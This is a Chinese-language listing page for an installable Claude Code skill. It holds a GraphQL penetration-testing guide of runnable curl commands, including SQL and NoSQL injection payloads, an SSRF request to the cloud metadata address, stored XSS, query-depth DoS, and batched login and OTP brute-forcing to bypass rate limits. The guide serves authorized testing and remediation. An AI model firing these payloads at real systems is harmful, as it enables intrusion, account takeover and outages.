关于 performing-graphql-security-assessment
这是面向安全测试人员的 GraphQL 安全评估指南,适用于授权渗透测试和漏洞赏金测试。它按流程检查端点、Schema、授权、注入、拒绝服务和批处理风险,并列出常用工具。
主要功能
- 01发现并识别 GraphQL 端点
- 02通过内省提取 Schema
- 03检查查询与字段级授权
- 04测试注入和拒绝服务风险
- 05评估批处理与认证绕过
适用场景
- 01执行 GraphQL 应用授权渗透测试
- 02评估单页应用或移动后端 API
- 03检查微服务 GraphQL 网关
- 04在漏洞赏金计划中测试 GraphQL API
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill performing-graphql-security-assessment安装后在 Claude Code 中输入/performing-graphql-security-assessment确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEreferences/api-reference.mdscripts/agent.py详细介绍
执行 GraphQL 安全评估
何时使用
- 在获得授权的渗透测试期间,目标应用使用 GraphQL API 时
- 评估通过 GraphQL 通信的单页应用(React、Vue、Angular)时
- 评估暴露 GraphQL 端点的移动应用后端时
- 测试带有 GraphQL 网关或联邦的微服务架构时
- 在针对基于 GraphQL 的 API 的漏洞赏金项目期间
前提条件
- 授权:针对目标的书面渗透测试协议
- Burp Suite Professional:带有用于 GraphQL 扫描的 InQL 扩展
- GraphQL Voyager:Schema 可视化工具
- InQL Scanner:用于 GraphQL 内省和查询生成的 Burp 扩展
- Altair GraphQL Client:用于交互式测试的桌面 GraphQL 客户端
- clairvoyance:在内省被禁用时进行 GraphQL Schema 枚举
- curl:用于手动提交 GraphQL 查询
工作流
步骤 1:发现并识别 GraphQL 端点
定位 GraphQL 端点并确认 GraphQL 正在运行。
# Common GraphQL endpoint paths
for path in graphql graphiql playground query gql api/graphql \
v1/graphql v2/graphql graphql/console; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST -H "Content-Type: application/json" \
-d '{"query":"{__typename}"}' \
"https://target.example.com/$path")
echo "$path: $status"
done
# Check for GraphQL IDEs (GraphiQL, Playground)
curl -s "https://target.example.com/graphiql" | grep -i "graphiql"
curl -s "https://target.example.com/graphql/playground" | grep -i "playground"
# Fingerprint GraphQL engine
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{__typename}"}' \
"https://target.example.com/graphql"
# Response varies by engine: Apollo returns "Query", Hasura returns "query_root"
# Check for WebSocket GraphQL subscriptions
# ws://target.example.com/graphql (or wss://)
步骤 2:执行 Schema 内省
提取完整的 GraphQL Schema 以了解 API 的攻击面。
# Full introspection query
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name kind fields { name type { name kind ofType { name kind } } } } mutationType { fields { name } } queryType { fields { name } } subscriptionType { fields { name } } } }"}' \
"https://target.example.com/graphql" | jq .
# Comprehensive introspection query
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}"}' \
"https://target.example.com/graphql" | jq . > schema.json
# If introspection is disabled, use clairvoyance for schema enumeration
python3 -m clairvoyance \
-u "https://target.example.com/graphql" \
-w /usr/share/seclists/Discovery/Web-Content/graphql-field-names.txt \
-o discovered-schema.json
# Visualize the schema using GraphQL Voyager
# Upload schema.json to https://graphql-kit.com/graphql-voyager/
步骤 3:测试查询和变更上的授权
验证访问控制是否在字段和对象级别得到强制执行。
# Test querying all users (should require admin)
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $USER_TOKEN" \
-d '{"query":"{ users { id email role passwordHash } }"}' \
"https://target.example.com/graphql" | jq .
# Test accessing sensitive fields on own user
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $USER_TOKEN" \
-d '{"query":"{ user(id: 1) { id email ssn creditCard internalNotes } }"}' \
"https://target.example.com/graphql" | jq .
# Test mutation authorization (admin-only actions with user token)
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $USER_TOKEN" \
-d '{"query":"mutation { deleteUser(id: 2) { success } }"}' \
"https://target.example.com/graphql" | jq .
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $USER_TOKEN" \
-d '{"query":"mutation { updateUserRole(userId: 1, role: ADMIN) { id role } }"}' \
"https://target.example.com/graphql" | jq .
# Test without any authentication
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{ users { id email } }"}' \
"https://target.example.com/graphql" | jq .
步骤 4:测试注入漏洞
评估 GraphQL 查询是否存在 SQL 注入、NoSQL 注入及其他注入类型。
# SQL injection in GraphQL arguments
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"{ user(name: \"admin\\\" OR 1=1--\") { id email } }"}' \
"https://target.example.com/graphql" | jq .
# NoSQL injection (MongoDB)
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"{ users(filter: {email: {$ne: \"\"}}) { id email } }"}' \
"https://target.example.com/graphql" | jq .
# Test for SSRF via GraphQL
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"mutation { importData(url: \"http://169.254.169.254/latest/meta-data/\") { result } }"}' \
"https://target.example.com/graphql" | jq .
# Test for stored XSS via mutations
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"mutation { updateProfile(bio: \"<script>alert(1)</script>\") { id bio } }"}' \
"https://target.example.com/graphql" | jq .
# GraphQL directive injection
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{ user(id: 1) { email @deprecated } }"}' \
"https://target.example.com/graphql" | jq .
步骤 5:测试拒绝服务攻击
评估查询复杂度限制和资源消耗控制。
# Deep nesting attack (query depth)
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"{ users { friends { friends { friends { friends { friends { friends { friends { name } } } } } } } } }"}' \
"https://target.example.com/graphql" | jq .
# Width attack (requesting many fields)
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"{ u1: user(id:1){email} u2: user(id:2){email} u3: user(id:3){email} u4: user(id:4){email} u5: user(id:5){email} u6: user(id:6){email} u7: user(id:7){email} u8: user(id:8){email} u9: user(id:9){email} u10: user(id:10){email} }"}' \
"https://target.example.com/graphql" | jq .
# Batch query attack
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '[{"query":"{ user(id:1){email} }"},{"query":"{ user(id:2){email} }"},{"query":"{ user(id:3){email} }"},{"query":"{ user(id:4){email} }"},{"query":"{ user(id:5){email} }"}]' \
"https://target.example.com/graphql" | jq .
# Fragment-based circular reference
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{ users { ...A } } fragment A on User { friends { ...B } } fragment B on User { friends { ...A } }"}' \
"https://target.example.com/graphql" | jq .
# Test for unbounded pagination
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"{ users(first: 1000000) { id email } }"}' \
"https://target.example.com/graphql" | jq '.data.users | length'
步骤 6:测试批处理以绕过身份验证
利用查询批处理来暴力破解凭据或绕过速率限制。
# Batch login attempts to bypass rate limiting
curl -s -X POST \
-H "Content-Type: application/json" \
-d '[
{"query":"mutation{login(email:\"[email protected]\",password:\"password1\"){token}}"},
{"query":"mutation{login(email:\"[email protected]\",password:\"password2\"){token}}"},
{"query":"mutation{login(email:\"[email protected]\",password:\"password3\"){token}}"},
{"query":"mutation{login(email:\"[email protected]\",password:\"admin123\"){token}}"},
{"query":"mutation{login(email:\"[email protected]\",password:\"letmein\"){token}}"}
]' \
"https://target.example.com/graphql" | jq .
# Batch OTP verification attempts
curl -s -X POST \
-H "Content-Type: application/json" \
-d '[
{"query":"mutation{verifyOTP(code:\"000000\"){success}}"},
{"query":"mutation{verifyOTP(code:\"000001\"){success}}"},
{"query":"mutation{verifyOTP(code:\"000002\"){success}}"},
{"query":"mutation{verifyOTP(code:\"000003\"){success}}"},
{"query":"mutation{verifyOTP(code:\"000004\"){success}}"}
]' \
"https://target.example.com/graphql" | jq .
# Alias-based batching (same operation, different aliases)
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"mutation { a1:login(email:\"[email protected]\",password:\"pass1\"){token} a2:login(email:\"[email protected]\",password:\"pass2\"){token} a3:login(email:\"[email protected]\",password:\"pass3\"){token} }"}' \
"https://target.example.com/graphql" | jq .
关键概念
| 概念 | 描述 |
|---|---|
| 内省 | 暴露完整 Schema、类型、字段和变更的 GraphQL 功能 |
| 查询深度 | GraphQL 查询的嵌套层级;深层查询可能导致 DoS |
| 查询复杂度 | 根据查询中每个字段解析成本计算出的分数 |
| 批处理 | 在单个 HTTP 请求中发送多个查询以并行执行 |
| 别名 | 允许同一字段使用不同参数多次查询的 GraphQL 功能 |
| 片段 | 可复用的字段选择,若未验证可能导致循环引用 |
| N+1 问题 | 未优化的解析器为嵌套字段引发指数级数据库查询 |
| 字段级授权 | 应用于单个字段而非整个类型的访问控制 |
工具与系统
| 工具 | 用途 |
|---|---|
| InQL(Burp 扩展) | 用于 Burp Suite 的 GraphQL 内省扫描器和查询生成器 |
| GraphQL Voyager | 交互式 Schema 可视化工具 |
| Altair GraphQL Client | 用于构建和测试查询的桌面 GraphQL IDE |
| clairvoyance | 在内省被禁用时进行 Schema 枚举 |
| graphql-cop | GraphQL 安全审计工具(pip install graphql-cop) |
| BatchQL | 用于绕过速率限制的 GraphQL 批处理攻击工具 |
常见场景
场景 1:内省暴露内部 Schema
内省在生产环境中被启用,泄露了诸如 AdminSettings、InternalUser 等内部类型以及 deleteAllUsers 等变更。这为后续攻击提供了完整的路线图。
场景 2:缺少字段级授权
User 类型暴露了 passwordHash、ssn 和 internalNotes 字段。虽然前端只查询 name 和 email,但任何已认证用户都可以直接请求敏感字段。
场景 3:批量登录绕过
GraphQL 端点接受批量查询。通过在单个 HTTP 请求中发送 1000 次登录变更尝试,攻击者绕过了仅统计 HTTP 请求数的基于 IP 的速率限制。
场景 4:嵌套查询 DoS
某社交网络 API 允许查询 friends { friends { friends { ... } } },且深度不受限制。10 层嵌套查询会导致服务器处理数百万次数据库查询,从而造成拒绝服务。
输出格式
## GraphQL Security Assessment Report
**Target**: https://target.example.com/graphql
**Engine**: Apollo Server 4.x
**Assessment Date**: 2024-01-15
### Findings Summary
| Finding | Severity | Status |
|---------|----------|--------|
| Introspection enabled in production | Medium | VULNERABLE |
| Missing field-level authorization | High | VULNERABLE |
| No query depth limit | High | VULNERABLE |
| Batch query rate limit bypass | High | VULNERABLE |
| GraphiQL IDE exposed | Low | VULNERABLE |
| SQL injection in user query | Critical | VULNERABLE |
| CSRF on mutations | Medium | PASS (custom header required) |
### Critical: SQL Injection via user Query
**Location**: `user(name: String)` query argument
**Payload**: `{ user(name: "' OR 1=1--") { id email role } }`
**Impact**: Full database read access via GraphQL interface
### High: Batch Authentication Bypass
**Location**: POST /graphql (array body)
**Payload**: Array of 100 login mutations in single request
**Impact**: Rate limiting bypassed; 100 password attempts per HTTP request
### Recommendation
1. Disable introspection in production environments
2. Implement field-level authorization on all sensitive fields
3. Set query depth limit (max 7-10 levels)
4. Set query complexity limit and cost analysis
5. Disable or rate-limit batch queries
6. Remove GraphiQL/Playground from production
7. Parameterize all database queries in resolvers
评论
支持 Markdown